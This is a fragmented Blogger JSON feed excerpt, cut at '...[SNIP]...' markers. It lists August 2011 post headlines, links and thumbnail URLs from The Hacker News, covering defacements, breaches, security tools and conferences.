f":"http://thehackernews.com/2011/08/cross-site-scripting-vulnerability-at.html","title":"Cross Site Scripting Vulnerability at Google Appspot"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-yJnplyyHwh0/Tk9BGAnEVxI/AAAAAAAACzE/vUxWDkadO0c/s72-c/appspot-xss.png","height":"72","width":"72"}
...[SNIP]...
html","href":"http://thehackernews.com/2011/08/korean-hsbc-bank-hacked-turkguvenligi.html","title":"Korean HSBC bank hacked TurkGuvenligi (TG)"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-TwuKDLSFrHg/Tk87-cRdbiI/AAAAAAAACzA/zSx1MOTTxj8/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
://thehackernews.com/2011/08/biggest-isp-in-kuwait-qualitynet-side.html","title":"Biggest ISP in Kuwait Qualitynet Side-Server Database Leaked"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-xLmK5yjMPFE/Tk83KWPkSRI/AAAAAAAACy8/gzOD8nACVDo/s72-c/moe-qualitynet.png","height":"72","width":"7
...[SNIP]...
html","href":"http://thehackernews.com/2011/08/thc-ipv6-toolkit-attacking-ipv6.html","title":"THC-ipv6 Toolkit ... Attacking the IPV6 Protocol"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-Fhyje22VH7k/Tk3W2kiexwI/AAAAAAAACy0/WOrT2NNmRqk/s72-c/ipv6-v2.jpg","height":"72","width":"72"}},{"
...[SNIP]...
ttp://thehackernews.com/2011/08/backtrack-5-r1-released-download-now.html","title":"BackTrack 5 R1 Released - Penetration Testing Distribution"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-FJ9AXbkH7mo/Tk3R5lioBOI/AAAAAAAACyw/6sJ_3pISTV8/s72-c/bt5-r1-backtrack.png","height":"72","width":
...[SNIP]...
","type":"text/html","href":"http://thehackernews.com/2011/08/78000-indian-blogs-hacked-by-zhc.html","title":"78000 Indian Blogs Hacked by ZHC"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-Wv_Wq1Gs5Yc/Tk3Pd9JkwMI/AAAAAAAACys/cqC7BQZvEhk/s72-c/website-hacked.png","height":"72","width":"7
...[SNIP]...
ref":"http://thehackernews.com/2011/08/opbart-bart-police-database-hacked-by.html","title":"#OpBart : BART Police database hacked by Anonymous"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-fj9lfd0bN9A/Tk3LSByhbuI/AAAAAAAACyo/wD6EFdaWkew/s72-c/opBART_exiledsurfer.jpg","height":"72","widt
...[SNIP]...
hehackernews.com/2011/08/vanguard-defense-industries-vdi-hacked.html","title":"Vanguard Defense Industries (VDI) Hacked for #Antisec Operation"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-3OC5wUMxO9c/TkuU_WL__YI/AAAAAAAACyg/78cc_5iDBoo/s72-c/DJ5Du.png","height":"72","width":"72"}},{"id
...[SNIP]...
text/html","href":"http://thehackernews.com/2011/08/samsung-hires-android-hacker-cyanogen.html","title":"Samsung hires Android hacker Cyanogen"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-csvCnCyolWA/TktIHRV1ChI/AAAAAAAACyc/IqwANRI1w9I/s72-c/4893436057_50ef37e85a_z.jpg","height":"72","
...[SNIP]...
com/2011/08/opspcawake-operation-spcawake-leaks.html","title":"#OpSPCAwake : Operation SPCAwake leaks large number of users data of Spcala.com"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-VhDXYzDFgD0/Tks5WWlbRAI/AAAAAAAACyU/ZjGJlWjXZow/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
"href":"http://thehackernews.com/2011/08/iframe-vulnerability-in-google-app.html","title":"Iframe Vulnerability in Google App Engine (Appspot)"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-Wfjd9dVP7gs/TkrNlaQqQFI/AAAAAAAACyQ/fGd2cWJ6clI/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
tml","href":"http://thehackernews.com/2011/08/defencepk-gets-hacked-pr0tect0r-aka.html","title":"Defence.pk Gets Hacked pr0tect0r A.K.A. mrNRG"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-8mUhmE_oyRQ/TkrIZeL2pyI/AAAAAAAACyM/_Xt-X3AyJtY/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
kernews.com/2011/08/8-china-website-government-defaced-by.html","title":"8 China Website Government Defaced By Bekasi0d0nk (Indonesian Hacker)"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-juNxUazZvHE/Tko4KNj_iKI/AAAAAAAACyE/7h3onKmt1xo/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
:"http://thehackernews.com/2011/08/get-ready-for-hacker-halted-2011-miami.html","title":"Get Ready for Hacker Halted 2011, Miami 21-27 October"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-TuRAxqYgP58/Tkox2B1ZHLI/AAAAAAAACyA/ddMTAv_3Qhc/s72-c/Hacker+Halted+USA+2011+Returns+to+Miami.jpg"
...[SNIP]...
tml","href":"http://thehackernews.com/2011/08/facebook-no-more-anonymous-on-internet.html","title":"Facebook : 'No more anonymous on Internet'"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-qgo-oUA4YH4/TkorKyN7_pI/AAAAAAAACx8/u8l0KhDR090/s72-c/20110804-randi-zuckerberg+%25281%2529.jpg","
...[SNIP]...
s.com/2011/08/50-more-websites-hacked-by-pca-banned.html","title":"50 More Websites Hacked By PCA (BanneD... And \u003c\u003dShak\u003d\u003e)"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-tUG7sJvijjI/Tknq9rKBNrI/AAAAAAAACxw/PvEcPOc9Nas/s72-c/PCA.jpg","height":"72","width":"72"}},{"id":
...[SNIP]...
href":"http://thehackernews.com/2011/08/ssdownloader-50-free-essential-security.html","title":"SSDownloader : 50 Free Essential Security Tools"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-NuOGyTAK-bw/TkloSy6z_3I/AAAAAAAACxs/nEl0xc2suJY/s72-c/largeImg.png","height":"72","width":"72"}},{
...[SNIP]...
xt/html","href":"http://thehackernews.com/2011/08/45-indian-websites-hacked-by-shadow008.html","title":"45 Indian Websites hacked By Shadow008"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-KmTjEJcHRqM/Tkj8HR3KgeI/AAAAAAAACxo/0WT7Q15v6ak/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
:"http://thehackernews.com/2011/08/6542-websites-mass-defaced-by-077-hamdi.html","title":"6542 websites mass defaced by The 077 (Hamdi Hacker)"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-wYFjpMjCYc0/TkjasJ4yD9I/AAAAAAAACxk/LP989Qynqbw/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
ternate","type":"text/html","href":"http://thehackernews.com/2011/08/linux-kernel-31-rc2-released.html","title":"Linux Kernel 3.1 RC2 Released"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-Cm7iGRG8lzM/TkjApWU2saI/AAAAAAAACxg/Ju_ZWm--Zco/s72-c/mask-linus_torvalds.jpg","height":"72","widt
...[SNIP]...
s.com/2011/08/30-north-korean-hackers-steal-millions.html","title":"30 North Korean hackers steal millions of dollars from online gaming sites"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-x9qUIN0XHCI/Tki4Rg4_O7I/AAAAAAAACxc/7uyd3_ReOQw/s72-c/north_korean_hackers.jpg","height":"72","wid
...[SNIP]...
tml","href":"http://thehackernews.com/2011/08/kuwait-isp-fasttelco-defaced-by.html","title":"Kuwait ISP FastTelco Defaced by Anonymous Hackers"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-4V3bRsvBlH4/Tki1IfugmoI/AAAAAAAACxY/ZQI3gv0j_88/s72-c/4960c5ff12b242ca01af04fb8eb5d913.JPG","heigh
...[SNIP]...
","href":"http://thehackernews.com/2011/08/matriux-krypton-security-distribution.html","title":"Matriux Krypton security distribution Released"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-9_fNECGXswc/Tkiszo3U2WI/AAAAAAAACxU/2J6ZKJFi85I/s72-c/ced1133b6fe202f250fa14d3e6c7c869.jpg","heigh
...[SNIP]...
news.com/2011/08/opbart-and-bart-action-anonymous-hacks.html","title":"#OpBART and #Bart-Action : Anonymous hacks myBART, Leaks BART User Info"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-gtItp42I22I/TkihFTt_9KI/AAAAAAAACxQ/-MzYUDnjDzE/s72-c/ad.JPG","height":"72","width":"72"}},{"id":{
...[SNIP]...
of-indian-government-education-and.html","title":"100's of Indian Government, Education and Corporate websites Hacked By ZCompany Hacking Crew"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-WE5v4bezLDU/TkieEMPAV2I/AAAAAAAACxM/es87kdsMU58/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
ehackernews.com/2011/08/blackberry-enterprise-server-vulnerable.html","title":"BlackBerry Enterprise Server vulnerable to malicious image file"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-HJachWx_vuA/TYI0yBHMUNI/AAAAAAAABXs/Amere3KIttk/s72-c/83511-1.jpg","height":"72","width":"72"}},{"
...[SNIP]...
text/html","href":"http://thehackernews.com/2011/08/mibbit-ajax-irc-client-service-hacked.html","title":"Mibbit AJAX IRC client service Hacked"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-QnILiZur40Y/TkegCzLuaTI/AAAAAAAACxI/hNgWdcDlHaM/s72-c/20090510144216%2521Mibbit_logo.png","height"
...[SNIP]...
/html","href":"http://thehackernews.com/2011/08/aol-postmaster-website-hacked-by-hodlum.html","title":"AOL Postmaster Website hacked by HODLUM"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-RQCQUfYFSdY/TkeeFl-APWI/AAAAAAAACxE/YtO-yDQeeGM/s72-c/AOL-postmaster-hack-HodLuM-625x375.png","hei
...[SNIP]...
f":"http://thehackernews.com/2011/08/derbycon-2011-security-conference.html","title":"DerbyCon 2011 Security Conference - Louisville, Kentucky"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-JnYNYoHSx-I/Tka5WLM18QI/AAAAAAAACxA/cxmvmhmMHL4/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
,"href":"http://thehackernews.com/2011/08/joomla-canada-website-defaced-by-group.html","title":"Joomla Canada website defaced by Group Hp-Hack"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-0RL97bBEfnk/TkYKDWJlQ3I/AAAAAAAACw8/iY1WcawtOfk/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
ef":"http://thehackernews.com/2011/08/zsecure-web-security-consultancy-hacked.html","title":"zSecure - Web Security Consultancy Hacked by Mr52"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-Ca0W0hd8IZk/TkWWtsQvesI/AAAAAAAACw4/FNGHKZDw3e4/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
xt/html","href":"http://thehackernews.com/2011/08/facebook-status-update-with-xfbml.html","title":"Facebook Status Update With XFBML Injection"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-ic_q5AlJKcA/TkWEwRQttrI/AAAAAAAACww/EPXUTjP4xE0/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
xt/html","href":"http://thehackernews.com/2011/08/30-child-toy-is-enough-to-hack-fbi.html","title":"$30 Child Toy is enough to hack FBI Radios"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-7pO0hvpmLyU/TkVSwxPYBwI/AAAAAAAACwo/yNYPkxJONl0/s72-c/IM-Me.jpg","height":"72","width":"72"}},{"id
...[SNIP]...
text/html","href":"http://thehackernews.com/2011/08/german-hacker-cracks-gsm-call.html","title":"German Hacker Cracks GSM Call Encryption Code"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-IDWBpfBkiGQ/TkVJL3uueAI/AAAAAAAACwk/40Rhv_U0i_M/s72-c/Untitled-2.jpg","height":"72","width":"72"}}
...[SNIP]...
xt/html","href":"http://thehackernews.com/2011/08/emperor-hacking-team-im4n-account.html","title":"Emperor Hacking Team : iM4n account exposed"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-uwII0PHu3yU/TkVASVc3sBI/AAAAAAAACwg/LofC6UhLUJ4/s72-c/backbox-sticker.png","height":"72","width":"
...[SNIP]...
tp://thehackernews.com/2011/08/myspace-goes-down-because-of-internal.html","title":"MySpace goes down because of Internal Errors, Not Hacked !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-n0ZHtlYi2Xg/TkT-aom3kUI/AAAAAAAACwc/0L2wnrvZh_M/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
/thehackernews.com/2011/08/weltde-hacked-credit-card-info-of-30264.html","title":"Welt.de hacked - Credit Card info of 30264 users Compromised"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-YW8K0CppEYA/TkT2ayp85tI/AAAAAAAACwY/owq_HN5HEMU/s72-c/welt-de-hacked-gross.jpg","height":"72","wid
...[SNIP]...
eration-satiagraha-brazil-corruption.html","title":"Operation Satiagraha - Brazil Corruption Scandal exposed, #Antisec provide 5GB of evidence"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-RDsyn_SFW9A/TkTrzsYVUVI/AAAAAAAACwU/_BLvoEY5UCQ/s72-c/antisec.gif","height":"72","width":"72"}},{"
...[SNIP]...
hackernews.com/2011/08/free-gary-mckinnon-campaign-websites.html","title":"Free Gary McKinnon Campaign websites Hacked by TG ( TurkGuvenligi )"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-kJyCSYVd7SU/TkSXrMYmkKI/AAAAAAAACwQ/TsX40-xz-Ag/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
,"type":"text/html","href":"http://thehackernews.com/2011/08/incom-hacked-and-defaced-by-mr25.html","title":"In.com Hacked and Defaced by Mr52"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-XJLN-xeaRi4/TkPeu9AZWKI/AAAAAAAACwE/REf0WUmGtKw/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
ackernews.com/2011/08/nerc-national-syrian-energy-research.html","title":"NERC - National Syrian energy research center Defaced by Cocain Team"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-Wq4dgEa3EwI/Tj5_HpoNTBI/AAAAAAAACtE/oj3kxLSguuA/s72-c/ndrrmc_hacked_embed.jpg","height":"72","widt
...[SNIP]...
l","href":"http://thehackernews.com/2011/08/spyeye-1345-download-loader-source-code.html","title":"SpyEye 1.3.45 Download - Loader source code"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-tuidCH3_p58/TkN5xWvMyqI/AAAAAAAACvw/lTQVOsLomT4/s72-c/spy-eye-new-bot-like-zeus.gif","height":"72"
...[SNIP]...
/thehackernews.com/2011/08/firecat-20-released-firefox-catalog-of.html","title":"FireCAT 2.0 Released - Firefox Catalog of Auditing Extensions"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-wvmdaz8bMJ4/TkNr4CxaBJI/AAAAAAAACvo/nZ2nWcz9u5A/s72-c/logo_firecat.png","height":"72","width":"72"
...[SNIP]...
/2011/08/university-of-wisconsin-hacked-75000.html","title":"University of Wisconsin-Milwaukee hacked - 75,000 social security numbers exposed"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-XUITkAm5LoA/Tl_eMH5Qm_I/AAAAAAAAC38/2dBAmoCGLmY/s72-c/6.jpg","height":"72","width":"72"}},{"id":{"
...[SNIP]...
http://thehackernews.com/2011/08/united-security-summit-2011-19-20.html","title":"UNITED Security Summit 2011, 19-20 September - San Francisco"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-K4tyacFJ8ik/TkNf3LHr5mI/AAAAAAAACvc/vZDG5lVjI3Y/s72-c/Untitled-2.jpg","height":"72","width":"72"}}
...[SNIP]...
15004-ip-changer-with-bitcoin.html","title":"JonDo 00.15.004 IP changer with Bitcoin, connection manipulation protection and higher efficiency"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-Qb0X4axDc2I/TkNZ_Eb3nmI/AAAAAAAACvY/cix4MzJBHjg/s72-c/jondo_grau2.png","height":"72","width":"72"}
...[SNIP]...
text/html","href":"http://thehackernews.com/2011/08/hkex-hong-kong-stock-exchange-hacked.html","title":"HKEx - Hong Kong stock exchange Hacked"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-txquz3Vg8T0/TkNRSguqnaI/AAAAAAAACvU/9hTx8t_kSrs/s72-c/HKEX_Exhibition_Hall_60428.jpg","height":"72
...[SNIP]...
text/html","href":"http://thehackernews.com/2011/08/hungry-hackers-website-hacked-by.html","title":"Hungry Hackers website hacked by CyberMind"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-Ms7CUy_W0uQ/TkNJNm4me_I/AAAAAAAACvQ/yFGbGcDeESk/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
text/html","href":"http://thehackernews.com/2011/08/hackers-get-hacked-at-defcon-19.html","title":"Hackers Get Hacked at #Defcon 19 Conference"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-8a8eLh7lgPw/TkJhzmgSNAI/AAAAAAAACvM/W6M-mJwo72E/s72-c/110808_defcon_2.jpg","height":"72","width":"
...[SNIP]...
s.com/2011/08/opfacebook-facebook-will-be-down-on.html","title":"#OpFacebook : Facebook will be down on November 5 by Anonymous Hackers Attack"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-hdmNUZ18waY/TkIXvrAZFrI/AAAAAAAACvA/FRCAF9xee4o/s72-c/2271290275_0324448ac8.jpg","height":"72","wi
...[SNIP]...
hackernews.com/2011/08/citigroup-hacked-again-92000-customers.html","title":"Citigroup hacked again - 92,000 customers info exposed from Japan"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-5p0is1ZRbao/TkIRKI0fxmI/AAAAAAAACu8/pmGbb3lieLE/s72-c/Citigroup-Hacked.jpg","height":"72","width":
...[SNIP]...
.com/2011/08/indian-govt-wants-monitoring-access-for.html","title":"Indian Govt wants monitoring access for Twitter, Facebook,Skype and Google"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/_bCYQxIvMQ2U/TT_YkQ8MpeI/AAAAAAAAAz4/IBby-OEsj-Y/s72-c/First+Cyber+police+unit+launched+in+Iran.jpg
...[SNIP]...
hehackernews.com/2011/08/defcon-19-presentations-from-defcon.html","title":"#DefCon 19 : Presentations from the Defcon Conference for Download"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-TfHU9VRzHJA/TkFHVGIzOlI/AAAAAAAACu0/cmOHhT6LvhE/s72-c/defcon_19a.jpg","height":"72","width":"72"}}
...[SNIP]...
rnews.com/2011/08/blackberry-blog-site-hacked-by-trick.html","title":"BlackBerry blog site hacked by TriCk ... TeaMp0isoN against London riots"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-CfgFxsOGDZc/TkFBFIm7S2I/AAAAAAAACus/8oUnrW36Axo/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
ext/html","href":"http://thehackernews.com/2011/08/tweaking-facebook-status-with-html.html","title":"Tweaking Facebook Status with HTML button"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-iwGDoGrIyeA/TkE8UD7mtQI/AAAAAAAACuk/WWDh-1_tSD0/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
"http://thehackernews.com/2011/08/official-website-of-will-smiths.html","title":"Official Website of Will Smith's Daughter Willow Smith Hacked"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-FmcDOulc1fk/TkE0uPUl4QI/AAAAAAAACug/FuwWl8uDvHA/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
ref":"http://thehackernews.com/2011/08/syrian-hackers-deface-anonplus.html","title":"Syrian Hackers Deface AnonPlus - Anonymous Social Network"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-wI09IqcKnQg/TkCwwdYqWFI/AAAAAAAACuc/P7lHWD1LVEc/s72-c/AnonPlus.jpg","height":"72","width":"72"}},{
...[SNIP]...
ws.com/2011/08/ec-council-is-launching-cyberlympics.html","title":"EC-Council is launching \"CyberLympics\" - Olympic games for Cyber Security"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-ZzI9_G527mg/TkAl_K-LL4I/AAAAAAAACuY/LZWEzeVmpK4/s72-c/CyberLympicsUnify.jpg","height":"72","width"
...[SNIP]...
kernews.com/2011/08/teamp0ison-nasa-forum-is-vulnerable-sql.html","title":"TeaMp0isoN : NASA forum is Vulnerable SQL injection, Admin Hacked !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-RgbMST9hiZc/TkAjGGU2BWI/AAAAAAAACuM/japE78Kcmu0/s72-c/110328-security-nasacomp-250p.grid-6x2.jpg",
...[SNIP]...
:"http://thehackernews.com/2011/08/mikko-hypponen-fight-cybercrime-but.html","title":"Mikko Hypponen : Fight cybercrime, but keep the net free"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-nAtH2BiIr-Y/TkAhXniCCRI/AAAAAAAACuI/LBL6aMZb6eQ/s72-c/2011_DefCon_19_Mikko_Hyponnen_Brain_disk_610
...[SNIP]...
